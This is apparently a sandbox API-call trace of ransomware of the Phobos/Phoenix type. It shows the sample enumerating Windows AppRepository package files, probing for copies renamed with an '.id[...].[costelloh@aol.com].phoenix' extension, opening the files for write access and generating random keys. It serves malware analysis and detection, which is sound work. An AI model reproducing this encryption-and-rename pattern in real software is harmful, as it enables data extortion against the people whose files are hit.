	[0262.576] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.576] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.576] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.577] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8192) returned 1
	[0262.577] CloseHandle (hObject=0x2f4) returned 1
	[0262.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.577] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.577] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.577] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.578] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.578] CloseHandle (hObject=0x2f4) returned 1
	[0262.578] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.578] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.579] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2848) returned 1
	[0262.579] CloseHandle (hObject=0x2f4) returned 1
	[0262.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.579] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.579] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.579] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.580] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=36864) returned 1
	[0262.580] CloseHandle (hObject=0x2f4) returned 1
	[0262.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.580] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.581] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.581] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.581] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.581] CloseHandle (hObject=0x2f4) returned 1
	[0262.581] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.581] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.592] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=4588) returned 1
	[0262.592] CloseHandle (hObject=0x2e0) returned 1
	[0262.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.593] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.593] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.593] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.593] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45056) returned 1
	[0262.593] CloseHandle (hObject=0x2e0) returned 1
	[0262.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.593] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.594] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.594] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.594] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.594] CloseHandle (hObject=0x2e0) returned 1
	[0262.594] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.594] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.594] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2544) returned 1
	[0262.594] CloseHandle (hObject=0x2e0) returned 1
	[0262.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.594] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.595] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.595] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.595] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.595] CloseHandle (hObject=0x2e0) returned 1
	[0262.595] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.595] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.595] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.595] CloseHandle (hObject=0x2e0) returned 1
	[0262.595] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.595] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.596] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2772) returned 1
	[0262.596] CloseHandle (hObject=0x2e0) returned 1
	[0262.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.596] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.596] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.596] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.597] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=12288) returned 1
	[0262.597] CloseHandle (hObject=0x2e0) returned 1
	[0262.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.598] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.598] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.598] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.598] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.598] CloseHandle (hObject=0x2e0) returned 1
	[0262.598] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
